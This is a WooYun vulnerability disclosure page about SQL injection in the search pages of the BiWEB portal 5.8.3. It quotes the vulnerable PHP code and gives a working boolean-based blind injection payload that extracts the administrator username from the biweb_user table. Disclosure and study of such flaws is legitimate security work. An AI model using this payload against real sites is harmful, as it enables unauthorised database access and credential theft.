当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-083444

漏洞标题:BiWEB最新门户版搜索注入多枚

相关厂商:BiWEB

漏洞作者: 路人甲

提交时间:2014-11-17 19:12

修复时间:2015-02-15 19:14

公开时间:2015-02-15 19:14

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:10

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-11-17: 积极联系厂商并且等待厂商认领中,细节不对外公开
2015-02-15: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

BiWEB最新门户版搜索注入多枚

详细说明:

在wooyun上看到了有人把biweb的shell拿到了: WooYun: BIWEB门户版Getwebshell漏洞 ,也有人提了其他漏洞,我也来找找它的漏洞吧。去官网下BiWEB门户版最新的5.8.3来看看。发现BiWEB有多处搜索,都存在注入漏洞。
看看搜索处是怎么处理的。BiWEB首先对GET和POST进行了过滤,/config/filtrate.inc.php

<?php
//过滤GET或POST的值,去除两端空格和转义符号
if ($_SERVER['REQUEST_METHOD'] == 'POST'){
check::filtrateData($_POST,$arrGPdoDB['htmlspecialchars']);
}elseif($_SERVER['REQUEST_METHOD'] == 'GET'){
check::filtrateData($_GET,$arrGPdoDB['htmlspecialchars']);
}
?>


这里就先不说这种过滤的脑残之处了。
继续往下看,BiWEB有所有搜索处都存在同样的注入问题。举一例来说。/trade/search.php

无关代码
if (empty($_GET['page'])) {
$isGo = true;
$intPage = 1 ;
} else {
$intPage = intval($_GET['page']);
}
if(!empty($_REQUEST['keywords'])){
$strKeywords = strval(urldecode($_REQUEST['keywords']));
if($strKeywords[0] == '/'){
//精确查询ID
$strKeywords = substr($strKeywords,1);
if(is_numeric($strKeywords)) $arrWhere[] = "id = '" . $strKeywords . "'";
}else{
//选定底层功能模块数组
$arrMModule = array('SplitWord');
//调用选定的底层功能模块
//GModuleLoad($arrMModule,$arrGModule);
$strKeywords = strval(urldecode($_REQUEST['keywords']));
$arrKeywords = explode(' ', $strKeywords);
foreach($arrKeywords as $v){
$v = trim($v);
if(!empty($v)) $arrWhere[] = "title LIKE '%$v%'";
}
$_SESSION['arrWhere'] = $arrWhere;
$_SESSION['strKeywords'] = $strKeywords;
}
$arrLink[] = 'keywords=' . urlencode($strKeywords);
}else if(empty($_REQUEST['keywords']) && $isGo){
check::AlertExit("错误:关键词必须填写!",-1);
}else{
$arrWhere = $_SESSION['arrWhere'];
$strKeywords = $_SESSION['strKeywords'];
}
$strWhere = implode(' AND ',$arrWhere);
$strWhere = 'where '.$strWhere;
$arrInfoList = $objWebInit->getInfoList($strWhere,' ORDER BY topflag DESC,submit_date DESC',($intPage-1)*$arrGPage['page_size'],$arrGPage['page_size']);
$intRows = $arrInfoList['COUNT_ROWS'];
unset($arrInfoList['COUNT_ROWS']);
无关代码


继续去看看getInfoList(),在/web_common5.8/php_common.php

function getInfoList($where='',$order='',$intStartID = 0,$intListNum = 0,$field = '*',$arrData = array(),$blCount = true,$blComplex = false){
$table = $this->tablename2;
$arrData=(empty($arrData)?array():$arrData);
$limit = '';
if($blComplex){
if($where != '') $where .= " and id <= ( SELECT id FROM `$table` $order LIMIT $intStartID, 1 )";
else $where = " where id <= ( SELECT id FROM `$table` $order LIMIT $intStartID, 1 )";
}
if (!empty($order)) {
$limit .= $order;
}
if (!empty($intListNum)) $limit .= " LIMIT " . $intStartID .','. $intListNum;
$blFetch = false;
if($field === true) {
unset($this->arrGPdoDB['db_table_field']['structon_tb']);
$field = implode(',',array_keys($this->arrGPdoDB['db_table_field']));
}
$arrData = $this->selectDataG($table,$where,$limit,$field,$blFetch,$arrData,$blCount);
if(isset($arrData[0]['structon_tb'])) $arrData = $this->loadTableFieldG($arrData);
return $arrData;
}


然后调用同一文件中的electDataG()

function selectDataG($table,$where = '',$limit = '',$field = '*',$blFetch = false,$arrData = array(),$blCount = false,$blComplex = false ){
try {
//$strSQL = "SELECT SQL_CALC_FOUND_ROWS $field from $table $where"; 效率低下,在MYSQL版本未改进之前弃用
$strSQL = "SELECT $field from $table $where $limit";
if($this->arrGPdoDB['PDO_CACHE']) {
$strCacheName = md5($strSQL);
$strCacheDir = '';
for($i=0;$i<32;$i+=2){
$strCacheDir .= '/'.$strCacheName[$i].$strCacheName[$i+1];
}
$strCacheName = $strCacheDir.'SQL_'.$table.'_'.$strCacheName;
$strCacheFile = $this->arrGPdoDB['PDO_CACHE_ROOT'].'/'.$strCacheName;
$objCache = new cache($strCacheFile,$this->arrGPdoDB['PDO_CACHE_LIFETIME']);
if($this->arrGPdoDB['PDO_CACHE']==1) {
if($objCache->cache_is_active()) {
include($strCacheFile);
if($arr['COUNT_ROWS'] != '' ) $_SESSION['COUNT_ROWS'] = $arr['COUNT_ROWS'];
else $arr['COUNT_ROWS'] = $_SESSION['COUNT_ROWS'];
return $arr;
}
}
}
if($this->arrGPdoDB['PDO_DEBUG']) echo $strSQL.'<br><br>';
$rs = $this->db->prepare($strSQL);
$rs->execute($arrData);
if($blFetch) $arr = $rs->fetch();
else $arr = $rs->fetchAll();
$rs = '';
if($blCount){
//$strSQL = "SELECT FOUND_ROWS()"; 配合SQL_CALC_FOUND_ROWS使用的
//$strSQL = "SELECT count(DISTINCT id) from $table $where";
if(!$blComplex){
$strSQL = "SELECT count(*) as num from $table $where";
if($this->arrGPdoDB['PDO_DEBUG']) echo $strSQL.'<br><br>';
$rs = $this->db->query($strSQL);
if(strpos($where,'GROUP') || strpos($where,'group')){
$arrTemp = $rs->fetchAll();
$arr['COUNT_ROWS'] = count($arrTemp);
}else{
$arrTemp = $rs->fetch();
$arr['COUNT_ROWS'] = $arrTemp['num'];
}
}
if($arr['COUNT_ROWS'] != '' ) $_SESSION['COUNT_ROWS'] = $arr['COUNT_ROWS'];
else $arr['COUNT_ROWS'] = $_SESSION['COUNT_ROWS'];
}
if($this->arrGPdoDB['PDO_CACHE']){
if(isset($objCache)&&is_object($objCache)) {
$somecontent = '<?php' . "\n" . '$arr = ' . var_export( $arr, true ) . ';' . "\n" . '?>';
$objCache->write_file($somecontent);
}
}
return $arr;
} catch (PDOException $e) {
echo $strSQL.'<br><br>';
echo 'Failed: ' . $e->getMessage().'<br><br>';
}
}


在整个过程中没有对keywords进行任何过滤,当然,那个脑残的全局过滤直接就可以无视了。所以造成了注入。
本次测试是基于bool-based blind做的测试,payload如下
Payload:

%%'/**/and/**/mid((select/**/user_name/**/from/**/biweb_user/**/limit/**/0,1),1,1)='a'/**/and/**/'%'='


当biweb_user中的第一个管理员的用户名的第一个字母是’a’时,返回如下图

猜测正确副本.jpg


若不是’a’,则返回如下图

猜测错误副本.jpg


注入成功时,SQL的执行情况如下图

sql执行情况副本.jpg


可以写个脚本跑,也可以使用burp的intruder来跑,根据返回内容的长度不同,就可以判断了。经测试,管理员用户名为admin。

漏洞证明:

bool-based blind 搜索型的注入,本例在测试前要保证“ 供求信息 ”栏目下要有信息
见 详细说明

修复方案:

过滤

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝